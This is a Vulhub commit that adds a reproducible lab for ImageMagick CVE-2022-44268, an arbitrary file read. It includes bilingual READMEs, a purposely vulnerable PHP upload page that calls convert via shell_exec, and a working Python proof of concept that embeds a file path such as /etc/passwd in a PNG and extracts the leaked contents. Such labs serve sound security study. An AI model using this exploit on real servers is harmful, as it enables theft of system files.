first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
imagemagick/CVE-2022-44268/1.png
Normal file
BIN
imagemagick/CVE-2022-44268/1.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 63 KiB |
BIN
imagemagick/CVE-2022-44268/2.png
Normal file
BIN
imagemagick/CVE-2022-44268/2.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 343 KiB |
BIN
imagemagick/CVE-2022-44268/3.png
Normal file
BIN
imagemagick/CVE-2022-44268/3.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 52 KiB |
BIN
imagemagick/CVE-2022-44268/4.png
Normal file
BIN
imagemagick/CVE-2022-44268/4.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 349 KiB |
61
imagemagick/CVE-2022-44268/README.md
Normal file
61
imagemagick/CVE-2022-44268/README.md
Normal file
@@ -0,0 +1,61 @@
|
||||
# ImageMagick Arbitrary File Disclosure (CVE-2022-44268)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images.
|
||||
|
||||
In the version prior to 7.1.0-51 on ImageMagick, there is a information disclosure vulnerability that is able to be used to read arbitrary file when modifing a PNG file.
|
||||
|
||||
References:
|
||||
|
||||
- <https://www.metabaseq.com/imagemagick-zero-days/>
|
||||
- <https://github.com/ImageMagick/Website/blob/main/ChangeLog.md#710-52---2022-11-06>
|
||||
|
||||
## Vulnerable Environment
|
||||
|
||||
Execute folloiwing command to start a Web server that uses the ImageMagick to convert an old image to a 50x50 size new image:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, visit `http://your-ip:8080` you will see an upload file button:
|
||||
|
||||

|
||||
|
||||
The [backend service](index.php) is as simple as the following lines of code:
|
||||
|
||||
```php
|
||||
$newname = uniqid() . '.png';
|
||||
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");
|
||||
```
|
||||
|
||||
## Exploit
|
||||
|
||||
To exploit this issue, you have to prepare a craft PNG file that contains a chunk data with the file path that you want to disclose.
|
||||
|
||||
Use [poc.py](poc.py) to generate it:
|
||||
|
||||
```
|
||||
./poc.py generate -o poc.png -r /etc/passwd
|
||||
```
|
||||
|
||||
> Install [PyPNG](https://pypng.readthedocs.io/en/latest/) to execute poc.py properly: `pip install pypng`
|
||||
|
||||
There is a type of `tEXt` chunk that contains our payload `profile=/etc/passwd` if you use [010editor](https://en.wikipedia.org/wiki/010_Editor) to review this file:
|
||||
|
||||

|
||||
|
||||
Then, upload this file to target server:
|
||||
|
||||

|
||||
|
||||
Download the output artifact as out.png, use poc.py to extract all the chunks from it:
|
||||
|
||||
```
|
||||
./poc.py parse -i out.png
|
||||
```
|
||||
|
||||

|
||||
|
||||
As you can see, `/etc/passwd` is read and the result have been written to output file by ImageMagick.
|
||||
59
imagemagick/CVE-2022-44268/README.zh-cn.md
Normal file
59
imagemagick/CVE-2022-44268/README.zh-cn.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# ImageMagick任意文件读取漏洞(CVE-2022-44268)
|
||||
|
||||
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。
|
||||
|
||||
在ImageMagick 7.1.0-51版本及以前,其处理PNG文件的代码中存在一处功能,会导致转换图片时读取到当前操作系统上的任意文件,并将文件内容输出在图片内容中。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://www.metabaseq.com/imagemagick-zero-days/>
|
||||
- <https://github.com/ImageMagick/Website/blob/main/ChangeLog.md#710-52---2022-11-06>
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个Web服务器,这个服务器的功能是将用户上传的任意图片缩小成50x50的PNG图片。
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务启动后,访问`http://your-ip:8080`可以看到图片上传框:
|
||||
|
||||

|
||||
|
||||
[后端服务](index.php)的代码十分简单:
|
||||
|
||||
```php
|
||||
$newname = uniqid() . '.png';
|
||||
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
利用这个漏洞,需要先准备一个恶意PNG文件,文件内容中包含我们准备读取的文件路径:
|
||||
|
||||
可以使用[poc.py](poc.py)来生成这个图片:
|
||||
|
||||
```
|
||||
./poc.py generate -o poc.png -r /etc/passwd
|
||||
```
|
||||
|
||||
> 执行poc.py前请安装[PyPNG](https://pypng.readthedocs.io/en/latest/):`pip install pypng`
|
||||
|
||||
如果你使用[010editor](https://en.wikipedia.org/wiki/010_Editor)查看这个图片,可以看到其中包含一个类型是`tEXt`的chunk,其中包含我们的Payload `profile=/etc/passwd`:
|
||||
|
||||

|
||||
|
||||
接着,我们将这个图片上传到目标服务中:
|
||||
|
||||

|
||||
|
||||
下载服务处理后生成的图片,使用[poc.py](poc.py)提取出其中所有内容:
|
||||
|
||||
```
|
||||
./poc.py parse -i out.png
|
||||
```
|
||||
|
||||

|
||||
|
||||
可以看到,已经提取出`/etc/passwd`文件的内容,这部分内容是由ImageMagick在处理旧图片时读取并写入到新图片中。
|
||||
9
imagemagick/CVE-2022-44268/docker-compose.yml
Normal file
9
imagemagick/CVE-2022-44268/docker-compose.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/imagemagick:7.1.0-49-php
|
||||
command: php -t /var/www/html -S 0.0.0.0:8080
|
||||
volumes:
|
||||
- ./index.php:/var/www/html/index.php
|
||||
ports:
|
||||
- "8080:8080"
|
||||
28
imagemagick/CVE-2022-44268/index.php
Normal file
28
imagemagick/CVE-2022-44268/index.php
Normal file
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
$newname = '';
|
||||
if (!empty($_FILES)) {
|
||||
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
|
||||
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
|
||||
die('Unsupported filetype uploaded.');
|
||||
}
|
||||
|
||||
$newname = uniqid() . '.png';
|
||||
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");
|
||||
}
|
||||
?>
|
||||
<form method="post" enctype="multipart/form-data">
|
||||
File: <input type="file" name="file_upload">
|
||||
<input type="submit">
|
||||
</form>
|
||||
<br>
|
||||
<?php
|
||||
if ($newname):
|
||||
?>
|
||||
<h1>Your image:</h1>
|
||||
<p>
|
||||
<a href="./<?=$newname?>" target="_blank">
|
||||
<img src="./<?=$newname?>" width="50" height="50">
|
||||
</a>
|
||||
</p>
|
||||
<?php
|
||||
endif;
|
||||
77
imagemagick/CVE-2022-44268/poc.py
Normal file
77
imagemagick/CVE-2022-44268/poc.py
Normal file
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
import png
|
||||
import zlib
|
||||
import argparse
|
||||
import binascii
|
||||
import logging
|
||||
|
||||
logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
d = zlib.decompressobj()
|
||||
e = zlib.compressobj()
|
||||
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
|
||||
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
|
||||
b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
|
||||
b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'
|
||||
|
||||
|
||||
def parse_data(data: bytes) -> str:
|
||||
_, data = data.strip().split(b'\n', 1)
|
||||
return binascii.unhexlify(data.replace(b'\n', b'')).decode()
|
||||
|
||||
|
||||
def read(filename: str):
|
||||
if not filename:
|
||||
logging.error('you must specify a input filename')
|
||||
return
|
||||
|
||||
res = ''
|
||||
p = png.Reader(filename=filename)
|
||||
for k, v in p.chunks():
|
||||
logging.info("chunk %s found, value = %r", k.decode(), v)
|
||||
if k == b'zTXt':
|
||||
name, data = v.split(b'\x00', 1)
|
||||
res = parse_data(d.decompress(data[1:]))
|
||||
|
||||
if res:
|
||||
sys.stdout.write(res)
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def write(from_filename, to_filename, read_filename):
|
||||
if not to_filename:
|
||||
logging.error('you must specify a output filename')
|
||||
return
|
||||
|
||||
with open(to_filename, 'wb') as f:
|
||||
f.write(png.signature)
|
||||
if from_filename:
|
||||
p = png.Reader(filename=from_filename)
|
||||
for k, v in p.chunks():
|
||||
if k != b'IEND':
|
||||
png.write_chunk(f, k, v)
|
||||
else:
|
||||
png.write_chunk(f, b'IHDR', IHDR)
|
||||
png.write_chunk(f, b'IDAT', IDAT)
|
||||
|
||||
png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
|
||||
png.write_chunk(f, b'IEND', b'')
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
|
||||
parser.add_argument('action', type=str, choices=('generate', 'parse'))
|
||||
parser.add_argument('-i', '--input', type=str, help='input filename')
|
||||
parser.add_argument('-o', '--output', type=str, help='output filename')
|
||||
parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
|
||||
args = parser.parse_args()
|
||||
if args.action == 'generate':
|
||||
write(args.input, args.output, args.read)
|
||||
elif args.action == 'parse':
|
||||
read(args.input)
|
||||
else:
|
||||
logging.error("bad action")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Reference in New Issue
Block a user